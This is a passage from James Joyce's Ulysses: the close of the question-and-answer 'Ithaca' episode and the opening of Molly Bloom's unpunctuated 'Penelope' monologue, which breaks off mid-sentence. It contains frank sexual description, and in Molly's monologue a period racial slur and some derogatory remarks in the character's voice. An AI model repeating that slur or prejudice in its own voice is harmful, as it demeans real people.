of the departed? + +5 pounds reward, lost, stolen or strayed from his residence 7 Eccles +street, missing gent about 40, answering to the name of Bloom, Leopold +(Poldy), height 5 ft 9 1/2 inches, full build, olive complexion, may have +since grown a beard, when last seen was wearing a black suit. Above sum +will be paid for information leading to his discovery. + +What universal binomial denominations would be his as entity and +nonentity? + +Assumed by any or known to none. Everyman or Noman. + +What tributes his? + +Honour and gifts of strangers, the friends of Everyman. A nymph immortal, +beauty, the bride of Noman. + +Would the departed never nowhere nohow reappear? + +Ever he would wander, selfcompelled, to the extreme limit of his cometary +orbit, beyond the fixed stars and variable suns and telescopic planets, +astronomical waifs and strays, to the extreme boundary of space, passing +from land to land, among peoples, amid events. Somewhere imperceptibly he +would hear and somehow reluctantly, suncompelled, obey the summons of +recall. Whence, disappearing from the constellation of the Northern Crown +he would somehow reappear reborn above delta in the constellation of +Cassiopeia and after incalculable eons of peregrination return an +estranged avenger, a wreaker of justice on malefactors, a dark crusader, +a sleeper awakened, with financial resources (by supposition) surpassing +those of Rothschild or the silver king. + +What would render such return irrational? + +An unsatisfactory equation between an exodus and return in time through +reversible space and an exodus and return in space through irreversible +time. + +What play of forces, inducing inertia, rendered departure undesirable? + +The lateness of the hour, rendering procrastinatory: the obscurity of the +night, rendering invisible: the uncertainty of thoroughfares, rendering +perilous: the necessity for repose, obviating movement: the proximity of +an occupied bed, obviating research: the anticipation of warmth (human) +tempered with coolness (linen), obviating desire and rendering desirable: +the statue of Narcissus, sound without echo, desired desire. + +What advantages were possessed by an occupied, as distinct from an +unoccupied bed? + +The removal of nocturnal solitude, the superior quality of human (mature +female) to inhuman (hotwaterjar) calefaction, the stimulation of +matutinal contact, the economy of mangling done on the premises in the +case of trousers accurately folded and placed lengthwise between the +spring mattress (striped) and the woollen mattress (biscuit section). + +What past consecutive causes, before rising preapprehended, of +accumulated fatigue did Bloom, before rising, silently recapitulate? + +The preparation of breakfast (burnt offering): intestinal congestion and +premeditative defecation (holy of holies): the bath (rite of John): the +funeral (rite of Samuel): the advertisement of Alexander Keyes (Urim and +Thummim): the unsubstantial lunch (rite of Melchisedek): the visit to +museum and national library (holy place): the bookhunt along Bedford row, +Merchants' Arch, Wellington Quay (Simchath Torah): the music in the +Ormond Hotel (Shira Shirim): the altercation with a truculent troglodyte +in Bernard Kiernan's premises (holocaust): a blank period of time +including a cardrive, a visit to a house of mourning, a leavetaking +(wilderness): the eroticism produced by feminine exhibitionism (rite of +Onan): the prolonged delivery of Mrs Mina Purefoy (heave offering): the +visit to the disorderly house of Mrs Bella Cohen, 82 Tyrone street, lower +and subsequent brawl and chance medley in Beaver street (Armageddon)- +nocturnal perambulation to and from the cabman's shelter, Butt Bridge +(atonement). + +What selfimposed enigma did Bloom about to rise in order to go so as to +conclude lest he should not conclude involuntarily apprehend? + +The cause of a brief sharp unforeseen heard loud lone crack emitted by +the insentient material of a strainveined timber table. + +What selfinvolved enigma did Bloom risen, going, gathering multicoloured +multiform multitudinous garments, voluntarily apprehending, not +comprehend? + +Who was M'Intosh? + +What selfevident enigma pondered with desultory constancy during 30 years +did Bloom now, having effected natural obscurity by the extinction of +artificial light, silently suddenly comprehend? + +Where was Moses when the candle went out? + +What imperfections in a perfect day did Bloom, walking, charged with +collected articles of recently disvested male wearing apparel, silently, +successively, enumerate? + +A provisional failure to obtain renewal of an advertisement: to obtain a +certain quantity of tea from Thomas Kernan (agent for Pulbrook, Robertson +and Co, 5 Dame Street, Dublin, and 2 Mincing Lane, London E. C.): to +certify the presence or absence of posterior rectal orifice in the case +of Hellenic female divinities: to obtain admission (gratuitous or paid) +to the performance of Leah by Mrs Bandmann Palmer at the Gaiety Theatre, +46, 47, 48, 49 South King street. + +What impression of an absent face did Bloom, arrested, silently recall? + +The face of her father, the late Major Brian Cooper Tweedy, Royal Dublin +Fusiliers, of Gibraltar and Rehoboth, Dolphin's Barn. + +What recurrent impressions of the same were possible by hypothesis? + +Retreating, at the terminus of the Great Northern Railway, Amiens street, +with constant uniform acceleration, along parallel lines meeting at +infinity, if produced: along parallel lines, reproduced from infinity, +with constant uniform retardation, at the terminus of the Great Northern +Railway, Amiens street, returning. + +What miscellaneous effects of female personal wearing apparel were +perceived by him? + +A pair of new inodorous halfsilk black ladies' hose, a pair of new violet +garters, a pair of outsize ladies' drawers of India mull, cut on generous +lines, redolent of opoponax, jessamine and Muratti's Turkish cigarettes +and containing a long bright steel safety pin, folded curvilinear, a +camisole of batiste with thin lace border, an accordion underskirt of +blue silk moirette, all these objects being disposed irregularly on the +top of a rectangular trunk, quadruple battened, having capped corners, +with multicoloured labels, initialled on its fore side in white lettering +B. C. T. (Brian Cooper Tweedy). + +What impersonal objects were perceived? + +A commode, one leg fractured, totally covered by square cretonne cutting, +apple design, on which rested a lady's black straw hat. Orangekeyed ware, +bought of Henry Price, basket, fancy goods, chinaware and ironmongery +manufacturer, 21, 22, 23 Moore street, disposed irregularly on the +washstand and floor and consisting of basin, soapdish and brushtray (on +the washstand, together), pitcher and night article (on the floor, +separate). + +Bloom's acts? + +He deposited the articles of clothing on a chair, removed his remaining +articles of clothing, took from beneath the bolster at the head of the +bed a folded long white nightshirt, inserted his head and arms into the +proper apertures of the nightshirt, removed a pillow from the head to the +foot of the bed, prepared the bedlinen accordingly and entered the bed. + +How? + +With circumspection, as invariably when entering an abode (his own or not +his own): with solicitude, the snakespiral springs of the mattress being +old, the brass quoits and pendent viper radii loose and tremulous under +stress and strain: prudently, as entering a lair or ambush of lust or +adders: lightly, the less to disturb: reverently, the bed of conception +and of birth, of consummation of marriage and of breach of marriage, of +sleep and of death. + +What did his limbs, when gradually extended, encounter? + +New clean bedlinen, additional odours, the presence of a human form, +female, hers, the imprint of a human form, male, not his, some crumbs, +some flakes of potted meat, recooked, which he removed. + +If he had smiled why would he have smiled? + +To reflect that each one who enters imagines himself to be the first to +enter whereas he is always the last term of a preceding series even if +the first term of a succeeding one, each imagining himself to be first, +last, only and alone whereas he is neither first nor last nor only nor +alone in a series originating in and repeated to infinity. + +What preceding series? + +Assuming Mulvey to be the first term of his series, Penrose, Bartell +d'Arcy, professor Goodwin, Julius Mastiansky, John Henry Menton, Father +Bernard Corrigan, a farmer at the Royal Dublin Society's Horse Show, +Maggot O'Reilly, Matthew Dillon, Valentine Blake Dillon (Lord Mayor of +Dublin), Christopher Callinan, Lenehan, an Italian organgrinder, an +unknown gentleman in the Gaiety Theatre, Benjamin Dollard, Simon Dedalus, +Andrew (Pisser) Burke, Joseph Cuffe, Wisdom Hely, Alderman John Hooper, +Dr Francis Brady, Father Sebastian of Mount Argus, a bootblack at the +General Post Office, Hugh E. (Blazes) Boylan and so each and so on to no +last term. + +What were his reflections concerning the last member of this series and +late occupant of the bed? + +Reflections on his vigour (a bounder), corporal proportion (a +billsticker), commercial ability (a bester), impressionability (a +boaster). + +Why for the observer impressionability in addition to vigour, corporal +proportion and commercial ability? + +Because he had observed with augmenting frequency in the preceding +members of the same series the same concupiscence, inflammably +transmitted, first with alarm, then with understanding, then with desire, +finally with fatigue, with alternating symptoms of epicene comprehension +and apprehension. + +With what antagonistic sentiments were his subsequent reflections +affected? + +Envy, jealousy, abnegation, equanimity. + +Envy? + +Of a bodily and mental male organism specially adapted for the +superincumbent posture of energetic human copulation and energetic piston +and cylinder movement necessary for the complete satisfaction of a +constant but not acute concupiscence resident in a bodily and mental +female organism, passive but not obtuse. + +Jealousy? + +Because a nature full and volatile in its free state, was alternately the +agent and reagent of attraction. Because attraction between agent(s) and +reagent(s) at all instants varied, with inverse proportion of increase +and decrease, with incessant circular extension and radial reentrance. +Because the controlled contemplation of the fluctuation of attraction +produced, if desired, a fluctuation of pleasure. + +Abnegation? + +In virtue of a) acquaintance initiated in September 1903 in the +establishment of George Mesias, merchant tailor and outfitter, 5 Eden +Quay, b) hospitality extended and received in kind, reciprocated and +reappropriated in person, c) comparative youth subject to impulses of +ambition and magnanimity, colleagual altruism and amorous egoism, d) +extraracial attraction, intraracial inhibition, supraracial prerogative, +e) an imminent provincial musical tour, common current expenses, net +proceeds divided. + +Equanimity? + +As as natural as any and every natural act of a nature expressed or +understood executed in natured nature by natural creatures in accordance +with his, her and their natured natures, of dissimilar similarity. As not +so calamitous as a cataclysmic annihilation of the planet in consequence +of a collision with a dark sun. As less reprehensible than theft, highway +robbery, cruelty to children and animals, obtaining money under false +pretences, forgery, embezzlement, misappropriation of public money, +betrayal of public trust, malingering, mayhem, corruption of minors, +criminal libel, blackmail, contempt of court, arson, treason, felony, +mutiny on the high seas, trespass, burglary, jailbreaking, practice of +unnatural vice, desertion from armed forces in the field, perjury, +poaching, usury, intelligence with the king's enemies, impersonation, +criminal assault, manslaughter, wilful and premeditated murder. As not +more abnormal than all other parallel processes of adaptation to altered +conditions of existence, resulting in a reciprocal equilibrium between +the bodily organism and its attendant circumstances, foods, beverages, +acquired habits, indulged inclinations, significant disease. As more than +inevitable, irreparable. + +Why more abnegation than jealousy, less envy than equanimity? + +From outrage (matrimony) to outrage (adultery) there arose nought but +outrage (copulation) yet the matrimonial violator of the matrimonially +violated had not been outraged by the adulterous violator of the +adulterously violated. + +What retribution, if any? + +Assassination, never, as two wrongs did not make one right. Duel by +combat, no. Divorce, not now. Exposure by mechanical artifice (automatic +bed) or individual testimony (concealed ocular witnesses), not yet. Suit +for damages by legal influence or simulation of assault with evidence of +injuries sustained (selfinflicted), not impossibly. Hushmoney by moral +influence possibly. If any, positively, connivance, introduction of +emulation (material, a prosperous rival agency of publicity: moral, a +successful rival agent of intimacy), depreciation, alienation, +humiliation, separation protecting the one separated from the other, +protecting the separator from both. + +By what reflections did he, a conscious reactor against the void of +incertitude, justify to himself his sentiments? + +The preordained frangibility of the hymen: the presupposed intangibility +of the thing in itself: the incongruity and disproportion between the +selfprolonging tension of the thing proposed to be done and the +selfabbreviating relaxation of the thing done; the fallaciously inferred +debility of the female: the muscularity of the male: the variations of +ethical codes: the natural grammatical transition by inversion involving +no alteration of sense of an aorist preterite proposition (parsed as +masculine subject, monosyllabic onomatopoeic transitive verb with direct +feminine object) from the active voice into its correlative aorist +preterite proposition (parsed as feminine subject, auxiliary verb and +quasimonosyllabic onomatopoeic past participle with complementary +masculine agent) in the passive voice: the continued product of +seminators by generation: the continual production of semen by +distillation: the futility of triumph or protest or vindication: the +inanity of extolled virtue: the lethargy of nescient matter: the apathy +of the stars. + +In what final satisfaction did these antagonistic sentiments and +reflections, reduced to their simplest forms, converge? + +Satisfaction at the ubiquity in eastern and western terrestrial +hemispheres, in all habitable lands and islands explored or unexplored +(the land of the midnight sun, the islands of the blessed, the isles of +Greece, the land of promise), of adipose anterior and posterior female +hemispheres, redolent of milk and honey and of excretory sanguine and +seminal warmth, reminiscent of secular families of curves of amplitude, +insusceptible of moods of impression or of contrarieties of expression, +expressive of mute immutable mature animality. + +The visible signs of antesatisfaction? + +An approximate erection: a solicitous adversion: a gradual elevation: a +tentative revelation: a silent contemplation. + +Then? + +He kissed the plump mellow yellow smellow melons of her rump, on each +plump melonous hemisphere, in their mellow yellow furrow, with obscure +prolonged provocative melonsmellonous osculation. + +The visible signs of postsatisfaction? + +A silent contemplation: a tentative velation: a gradual abasement: a +solicitous aversion: a proximate erection. + +What followed this silent action? + +Somnolent invocation, less somnolent recognition, incipient excitation, +catechetical interrogation. + +With what modifications did the narrator reply to this interrogation? + +Negative: he omitted to mention the clandestine correspondence between +Martha Clifford and Henry Flower, the public altercation at, in and in +the vicinity of the licensed premises of Bernard Kiernan and Co, Limited, +8, 9 and 10 Little Britain street, the erotic provocation and response +thereto caused by the exhibitionism of Gertrude (Gerty), surname unknown. +Positive: he included mention of a performance by Mrs Bandmann Palmer of +LEAH at the Gaiety Theatre, 46, 47, 48, 49 South King street, an +invitation to supper at Wynn's (Murphy's) Hotel, 35, 36 and 37 Lower +Abbey street, a volume of peccaminous pornographical tendency entituled +SWEETS OF SIN, anonymous author a gentleman of fashion, a temporary +concussion caused by a falsely calculated movement in the course of a +postcenal gymnastic display, the victim (since completely recovered) +being Stephen Dedalus, professor and author, eldest surviving son of +Simon Dedalus, of no fixed occupation, an aeronautical feat executed by +him (narrator) in the presence of a witness, the professor and author +aforesaid, with promptitude of decision and gymnastic flexibility. + +Was the narration otherwise unaltered by modifications? + +Absolutely. + +Which event or person emerged as the salient point of his narration? + +Stephen Dedalus, professor and author. + +What limitations of activity and inhibitions of conjugal rights were +perceived by listener and narrator concerning themselves during the +course of this intermittent and increasingly more laconic narration? + +By the listener a limitation of fertility inasmuch as marriage had been +celebrated 1 calendar month after the 18th anniversary of her birth (8 +September 1870), viz. 8 October, and consummated on the same date with +female issue born 15 June 1889, having been anticipatorily consummated on +the lo September of the same year and complete carnal intercourse, with +ejaculation of semen within the natural female organ, having last taken +place 5 weeks previous, viz. 27 November 1893, to the birth on 29 +December 1893 of second (and only male) issue, deceased 9 January 1894, +aged 11 days, there remained a period of 10 years, 5 months and 18 days +during which carnal intercourse had been incomplete, without ejaculation +of semen within the natural female organ. By the narrator a limitation of +activity, mental and corporal, inasmuch as complete mental intercourse +between himself and the listener had not taken place since the +consummation of puberty, indicated by catamenic hemorrhage, of the female +issue of narrator and listener, 15 September 1903, there remained a +period of 9 months and 1 day during which, in consequence of a +preestablished natural comprehension in incomprehension between the +consummated females (listener and issue), complete corporal liberty of +action had been circumscribed. + +How? + +By various reiterated feminine interrogation concerning the masculine +destination whither, the place where, the time at which, the duration for +which, the object with which in the case of temporary absences, projected +or effected. + +What moved visibly above the listener's and the narrator's invisible +thoughts? + +The upcast reflection of a lamp and shade, an inconstant series of +concentric circles of varying gradations of light and shadow. + +In what directions did listener and narrator lie? + +Listener, S. E. by E.: Narrator, N. W. by W.: on the 53rd parallel of +latitude, N., and 6th meridian of longitude, W.: at an angle of 45 +degrees to the terrestrial equator. + +In what state of rest or motion? + +At rest relatively to themselves and to each other. In motion being each +and both carried westward, forward and rereward respectively, by the +proper perpetual motion of the earth through everchanging tracks of +neverchanging space. + +In what posture? + +Listener: reclined semilaterally, left, left hand under head, right leg +extended in a straight line and resting on left leg, flexed, in the +attitude of Gea-Tellus, fulfilled, recumbent, big with seed. Narrator: +reclined laterally, left, with right and left legs flexed, the index +finger and thumb of the right hand resting on the bridge of the nose, in +the attitude depicted in a snapshot photograph made by Percy Apjohn, the +childman weary, the manchild in the womb. + +Womb? Weary? + +He rests. He has travelled. + +With? + +Sinbad the Sailor and Tinbad the Tailor and Jinbad the Jailer and Whinbad +the Whaler and Ninbad the Nailer and Finbad the Failer and Binbad the +Bailer and Pinbad the Pailer and Minbad the Mailer and Hinbad the Hailer +and Rinbad the Railer and Dinbad the Kailer and Vinbad the Quailer and +Linbad the Yailer and Xinbad the Phthailer. + +When? + +Going to dark bed there was a square round Sinbad the Sailor roc's auk's +egg in the night of the bed of all the auks of the rocs of Darkinbad the +Brightdayler. + +Where? + + + * * * * * * * + + +Yes because he never did a thing like that before as ask to get his +breakfast in bed with a couple of eggs since the CITY ARMS hotel when he +used to be pretending to be laid up with a sick voice doing his highness +to make himself interesting for that old faggot Mrs Riordan that he +thought he had a great leg of and she never left us a farthing all for +masses for herself and her soul greatest miser ever was actually afraid +to lay out 4d for her methylated spirit telling me all her ailments she +had too much old chat in her about politics and earthquakes and the end +of the world let us have a bit of fun first God help the world if all the +women were her sort down on bathingsuits and lownecks of course nobody +wanted her to wear them I suppose she was pious because no man would look +at her twice I hope Ill never be like her a wonder she didnt want us to +cover our faces but she was a welleducated woman certainly and her gabby +talk about Mr Riordan here and Mr Riordan there I suppose he was glad to +get shut of her and her dog smelling my fur and always edging to get up +under my petticoats especially then still I like that in him polite to +old women like that and waiters and beggars too hes not proud out of +nothing but not always if ever he got anything really serious the matter +with him its much better for them to go into a hospital where everything +is clean but I suppose Id have to dring it into him for a month yes and +then wed have a hospital nurse next thing on the carpet have him staying +there till they throw him out or a nun maybe like the smutty photo he has +shes as much a nun as Im not yes because theyre so weak and puling when +theyre sick they want a woman to get well if his nose bleeds youd think +it was O tragic and that dyinglooking one off the south circular when he +sprained his foot at the choir party at the sugarloaf Mountain the day I +wore that dress Miss Stack bringing him flowers the worst old ones she +could find at the bottom of the basket anything at all to get into a mans +bedroom with her old maids voice trying to imagine he was dying on +account of her to never see thy face again though he looked more like a +man with his beard a bit grown in the bed father was the same besides I +hate bandaging and dosing when he cut his toe with the razor paring his +corns afraid hed get bloodpoisoning but if it was a thing I was sick then +wed see what attention only of course the woman hides it not to give all +the trouble they do yes he came somewhere Im sure by his appetite anyway +love its not or hed be off his feed thinking of her so either it was one +of those night women if it was down there he was really and the hotel +story he made up a pack of lies to hide it planning it Hynes kept me who +did I meet ah yes I met do you remember Menton and who else who let me +see that big babbyface I saw him and he not long married flirting with a +young girl at Pooles Myriorama and turned my back on him when he slinked +out looking quite conscious what harm but he had the impudence to make up +to me one time well done to him mouth almighty and his boiled eyes of all +the big stupoes I ever met and thats called a solicitor only for I hate +having a long wrangle in bed or else if its not that its some little +bitch or other he got in with somewhere or picked up on the sly if they +only knew him as well as I do yes because the day before yesterday he was +scribbling something a letter when I came into the front room to show him +Dignams death in the paper as if something told me and he covered it up +with the blottingpaper pretending to be thinking about business so very +probably that was it to somebody who thinks she has a softy in him +because all men get a bit like that at his age especially getting on to +forty he is now so as to wheedle any money she can out of him no fool +like an old fool and then the usual kissing my bottom was to hide it not +that I care two straws now who he does it with or knew before that way +though Id like to find out so long as I dont have the two of them under +my nose all the time like that slut that Mary we had in Ontario terrace +padding out her false bottom to excite him bad enough to get the smell of +those painted women off him once or twice I had a suspicion by getting +him to come near me when I found the long hair on his coat without that +one when I went into the kitchen pretending he was drinking water 1 woman +is not enough for them it was all his fault of course ruining servants +then proposing that she could eat at our table on Christmas day if you +please O no thank you not in my house stealing my potatoes and the +oysters 2/6 per doz going out to see her aunt if you please common +robbery so it was but I was sure he had something on with that one it +takes me to find out a thing like that he said you have no proof it was +her proof O yes her aunt was very fond of oysters but I told her what I +thought of her suggesting me to go out to be alone with her I wouldnt +lower myself to spy on them the garters I found in her room the Friday +she was out that was enough for me a little bit too much her face swelled +up on her with temper when I gave her her weeks notice I saw to that +better do without them altogether do out the rooms myself quicker only +for the damn cooking and throwing out the dirt I gave it to him anyhow +either she or me leaves the house I couldnt even touch him if I thought +he was with a dirty barefaced liar and sloven like that one denying it up +to my face and singing about the place in the W C too because she knew +she was too well off yes because he couldnt possibly do without it that +long so he must do it somewhere and the last time he came on my bottom +when was it the night Boylan gave my hand a great squeeze going along by +the Tolka in my hand there steals another I just pressed the back of his +like that with my thumb to squeeze back singing the young May moon shes +beaming love because he has an idea about him and me hes not such a fool +he said Im dining out and going to the Gaiety though Im not going to give +him the satisfaction in any case God knows hes a change in a way not to +be always and ever wearing the same old hat unless I paid some +nicelooking boy to do it since I cant do it myself a young boy would like +me Id confuse him a little alone with him if we were Id let him see my +garters the new ones and make him turn red looking at him seduce him I +know what boys feel with that down on their cheek doing that frigging +drawing out the thing by the hour question and answer would you do this +that and the other with the coalman yes with a bishop yes I would because +I told him about some dean or bishop was sitting beside me in the jews +temples gardens when I was knitting that woollen thing a stranger to +Dublin what place was it and so on about the monuments and he tired me +out with statues encouraging him making him worse than he is who is in +your mind now tell me who are you thinking of who is it tell me his name +who tell me who the german Emperor is it yes imagine Im him think of him +can you feel him trying to make a whore of me what he never will he ought +to give it up now at this age of his life simply ruination for any woman +and no satisfaction in it pretending to like it till he comes and then +finish it off myself anyway and it makes your lips pale anyhow its done +now once and for all with all the talk of the world about it people make +its only the first time after that its just the ordinary do it and think +no more about it why cant you kiss a man without going and marrying him +first you sometimes love to wildly when you feel that way so nice all +over you you cant help yourself I wish some man or other would take me +sometime when hes there and kiss me in his arms theres nothing like a +kiss long and hot down to your soul almost paralyses you then I hate that +confession when I used to go to Father Corrigan he touched me father and +what harm if he did where and I said on the canal bank like a fool but +whereabouts on your person my child on the leg behind high up was it yes +rather high up was it where you sit down yes O Lord couldnt he say bottom +right out and have done with it what has that got to do with it and did +you whatever way he put it I forget no father and I always think of the +real father what did he want to know for when I already confessed it to +God he had a nice fat hand the palm moist always I wouldnt mind feeling +it neither would he Id say by the bullneck in his horsecollar I wonder +did he know me in the box I could see his face he couldnt see mine of +course hed never turn or let on still his eyes were red when his father +died theyre lost for a woman of course must be terrible when a man cries +let alone them Id like to be embraced by one in his vestments and the +smell of incense off him like the pope besides theres no danger with a +priest if youre married hes too careful about himself then give something +to H H the pope for a penance I wonder was he satisfied with me one thing +I didnt like his slapping me behind going away so familiarly in the hall +though I laughed Im not a horse or an ass am I I suppose he was thinking +of his fathers I wonder is he awake thinking of me or dreaming am I in it +who gave him that flower he said he bought he smelt of some kind of drink +not whisky or stout or perhaps the sweety kind of paste they stick their +bills up with some liqueur Id like to sip those richlooking green and +yellow expensive drinks those stagedoor johnnies drink with the opera +hats I tasted once with my finger dipped out of that American that had +the squirrel talking stamps with father he had all he could do to keep +himself from falling asleep after the last time after we took the port +and potted meat it had a fine salty taste yes because I felt lovely and +tired myself and fell asleep as sound as a top the moment I popped +straight into bed till that thunder woke me up God be merciful to us I +thought the heavens were coming down about us to punish us when I blessed +myself and said a Hail Mary like those awful thunderbolts in Gibraltar as +if the world was coming to an end and then they come and tell you theres +no God what could you do if it was running and rushing about nothing only +make an act of contrition the candle I lit that evening in Whitefriars +street chapel for the month of May see it brought its luck though hed +scoff if he heard because he never goes to church mass or meeting he says +your soul you have no soul inside only grey matter because he doesnt know +what it is to have one yes when I lit the lamp because he must have come +3 or 4 times with that tremendous big red brute of a thing he has I +thought the vein or whatever the dickens they call it was going to burst +though his nose is not so big after I took off all my things with the +blinds down after my hours dressing and perfuming and combing it like +iron or some kind of a thick crowbar standing all the time he must have +eaten oysters I think a few dozen he was in great singing voice no I +never in all my life felt anyone had one the size of that to make you +feel full up he must have eaten a whole sheep after whats the idea making +us like that with a big hole in the middle of us or like a Stallion +driving it up into you because thats all they want out of you with that +determined vicious look in his eye I had to halfshut my eyes still he +hasnt such a tremendous amount of spunk in him when I made him pull out +and do it on me considering how big it is so much the better in case any +of it wasnt washed out properly the last time I let him finish it in me +nice invention they made for women for him to get all the pleasure but if +someone gave them a touch of it themselves theyd know what I went through +with Milly nobody would believe cutting her teeth too and Mina Purefoys +husband give us a swing out of your whiskers filling her up with a child +or twins once a year as regular as the clock always with a smell of +children off her the one they called budgers or something like a nigger +with a shock of hair on it Jesusjack the child is a black the last time I +was there a squad of them falling over one another and bawling you +couldnt hear your ears supposed to be healthy not satisfied till they +have us swollen out like elephants or I dont know what supposing I risked +having another not off him though still if he was married Im sure hed +have a fine strong child but I dont know Poldy has more spunk in him yes +thatd be awfully jolly I suppose it was meeting Josie Powell and the +funeral and thinking about me and Boylan set him off well he can think +what he likes now if thatll do him any good I know they were spooning a +bit when I came on the scene he was dancing and sitting out with her the +night of Georgina Simpsons housewarming and then he wanted to ram it down +my neck it was on account of not liking to see her a wallflower that was +why we had the standup row over politics he began it not me when he said +about Our Lord being a carpenter at last he made me cry of course a woman +is so sensitive about everything I was fuming with myself after for +giving in only for I knew he was gone on me and the first socialist he +said He was he annoyed me so much I couldnt put him into a temper still +he knows a lot of mixedup things especially about the body and the inside +I often wanted to study up that myself what we have inside us in that +family physician I could always hear his voice talking when the room was +crowded and watch him after that I pretended I had a coolness on with her +over him because he used to be a bit on the jealous side whenever he +asked who are you going to and I said over to Floey and he made me the +present of Byron's poems and the three pairs of gloves so that finished +that I could quite easily get him to make it up any time I know how Id +even supposing he got in with her again and was going out to see her +somewhere Id know if he refused to eat the onions I know plenty of ways +ask him to tuck down the collar of my blouse or touch him with my veil +and gloves on going out I kiss then would send them all spinning however +alright well see then let him go to her she of course would only be too +delighted to pretend shes mad in love with him that I wouldnt so much +mind Id just go to her and ask her do you love him and look her square in +the eyes she couldnt fool me but he might imagine he was and make a +declaration to her with his plabbery kind of a manner like he did to me +though I had the devils own job to get it out of him though I liked him +for that it showed he could hold in and wasnt to be got for the asking he +was on the pop of asking me too the night in the kitchen I was rolling +the potato cake theres something I want to say to you only for I put him +off letting on I was in a temper with my hands and arms full of pasty +flour in any case I let out too much the night before talking of dreams +so I didnt want to let him know more than was good for him she used to be +always embracing me Josie whenever he was there meaning him of course +glauming me over and when I said I washed up and down as far as possible +asking me and did you wash possible the women are always egging on to +that putting it on thick when hes there they know by his sly eye blinking +a bit putting on the indifferent when they come out with something the +kind he is what spoils him I dont wonder in the least because he was very +handsome at that time trying to look like Lord Byron I said I liked +though he was too beautiful for a man and he was a little before we got +engaged afterwards though she didnt like it so much the day I was in fits +of laughing with the giggles I couldnt stop about all my hairpins falling +out one after another with the mass of hair I had youre always in great +humour she said yes because it grigged her because she knew what it meant +because I used to tell her a good bit of what went on between us not all +but just enough to make her mouth water but that wasnt my fault she didnt +darken the door much after we were married I wonder what shes got like +now after living with that dotty husband of hers she had her face +beginning to look drawn and run down the last time I saw her she must +have been just after a row with him because I saw on the moment she was +edging to draw down a conversation about husbands and talk about him to +run him down what was it she told me O yes that sometimes he used to go +to bed with his muddy boots on when the maggot takes him just imagine +having to get into bed with a thing like that that might murder you any +moment what a man well its not the one way everyone goes mad Poldy anyhow +whatever he does always wipes his feet on the mat when he comes in wet or +shine and always blacks his own boots too and he always takes off his hat +when he comes up in the street like then and now hes going about in his +slippers to look for 10000 pounds for a postcard U p up O sweetheart May +wouldnt a thing like that simply bore you stiff to extinction actually +too stupid even to take his boots off now what could you make of a man +like that Id rather die 20 times over than marry another of their sex of +course hed never find another woman like me to put up with him the way I +do know me come sleep with me yes and he knows that too at the bottom of +his heart take that Mrs Maybrick that poisoned her husband for what I +wonder in love with some other man yes it was found out on her wasnt she +the downright villain to go and do a thing like that of course some men +can be dreadfully aggravating drive you mad and always the worst word in +the world what do they ask us to marry them for if were so bad as all +that comes to yes because they cant get on without us white Arsenic she +put in his tea off flypaper wasnt it I wonder why they call it that if I +asked him hed say its from the Greek leave us as wise as we were before +she must have been madly in love with the other fellow to run the chance +of being hanged O she didnt care if that was her nature what could she do +besides theyre not brutes enough to go and hang a woman surely are they + +theyre all so different Boylan talking about the shape of my foot he +noticed at once even before he was introduced when I was in the D B C +with Poldy laughing and trying to listen I was waggling my foot we both +ordered 2 teas and plain bread and butter I saw him looking with his two +old maids of sisters when I stood up and asked the girl where it was what +do I care with it dropping out of me and that black closed breeches he +made me buy takes you half an hour to let them down wetting all myself +always with some brandnew fad every other week such a long one I did I +forgot my suede gloves on the seat behind that I never got after some +robber of a woman and he wanted me to put it in the Irish times lost in +the ladies lavatory D B C Dame street finder return to Mrs Marion Bloom +and I saw his eyes on my feet going out through the turning door he was +looking when I looked back and I went there for tea 2 days after in the +hope but he wasnt now how did that excite him because I was crossing them +when we were in the other room first he meant the shoes that are too +tight to walk in my hand is nice like that if I only had a ring with the +stone for my month a nice aquamarine Ill stick him for one and a gold +bracelet I dont like my foot so much still I made him spend once with my +foot the night after Goodwins botchup of a concert so cold and windy it +was well we had that rum in the house to mull and the fire wasnt black +out when he asked to take off my stockings lying on the hearthrug in +Lombard street west and another time it was my muddy boots hed like me to +walk in all the horses dung I could find but of course hes not natural +like the rest of the world that I what did he say I could give 9 points +in 10 to Katty Lanner and beat her what does that mean I asked him I +forget what he said because the stoppress edition just passed and the man +with the curly hair in the Lucan dairy thats so polite I think I saw his +face before somewhere I noticed him when I was tasting the butter so I +took my time Bartell dArcy too that he used to make fun of when he +commenced kissing me on the choir stairs after I sang Gounods AVE MARIA +what are we waiting for O my heart kiss me straight on the brow and part +which is my brown part he was pretty hot for all his tinny voice too my +low notes he was always raving about if you can believe him I liked the +way he used his mouth singing then he said wasnt it terrible to do that +there in a place like that I dont see anything so terrible about it Ill +tell him about that some day not now and surprise him ay and Ill take him +there and show him the very place too we did it so now there you are like +it or lump it he thinks nothing can happen without him knowing he hadnt +an idea about my mother till we were engaged otherwise hed never have got +me so cheap as he did he was 10 times worse himself anyhow begging me to +give him a tiny bit cut off my drawers that was the evening coming along +Kenilworth square he kissed me in the eye of my glove and I had to take +it off asking me questions is it permitted to enquire the shape of my +bedroom so I let him keep it as if I forgot it to think of me when I saw +him slip it into his pocket of course hes mad on the subject of drawers +thats plain to be seen always skeezing at those brazenfaced things on the +bicycles with their skirts blowing up to their navels even when Milly and +I were out with him at the open air fete that one in the cream muslin +standing right against the sun so he could see every atom she had on when +he saw me from behind following in the rain I saw him before he saw me +however standing at the corner of the Harolds cross road with a new +raincoat on him with the muffler in the Zingari colours to show off his +complexion and the brown hat looking slyboots as usual what was he doing +there where hed no business they can go and get whatever they like from +anything at all with a skirt on it and were not to ask any questions but +they want to know where were you where are you going I could feel him +coming along skulking after me his eyes on my neck he had been keeping +away from the house he felt it was getting too warm for him so I +halfturned and stopped then he pestered me to say yes till I took off my +glove slowly watching him he said my openwork sleeves were too cold for +the rain anything for an excuse to put his hand anear me drawers drawers +the whole blessed time till I promised to give him the pair off my doll +to carry about in his waistcoat pocket O MARIA SANTISIMA he did look a +big fool dreeping in the rain splendid set of teeth he had made me hungry +to look at them and beseeched of me to lift the orange petticoat I had on +with the sunray pleats that there was nobody he said hed kneel down in +the wet if I didnt so persevering he would too and ruin his new raincoat +you never know what freak theyd take alone with you theyre so savage for +it if anyone was passing so I lifted them a bit and touched his trousers +outside the way I used to Gardner after with my ring hand to keep him +from doing worse where it was too public I was dying to find out was he +circumcised he was shaking like a jelly all over they want to do +everything too quick take all the pleasure out of it and father waiting +all the time for his dinner he told me to say I left my purse in the +butchers and had to go back for it what a Deceiver then he wrote me that +letter with all those words in it how could he have the face to any woman +after his company manners making it so awkward after when we met asking +me have I offended you with my eyelids down of course he saw I wasnt he +had a few brains not like that other fool Henny Doyle he was always +breaking or tearing something in the charades I hate an unlucky man and +if I knew what it meant of course I had to 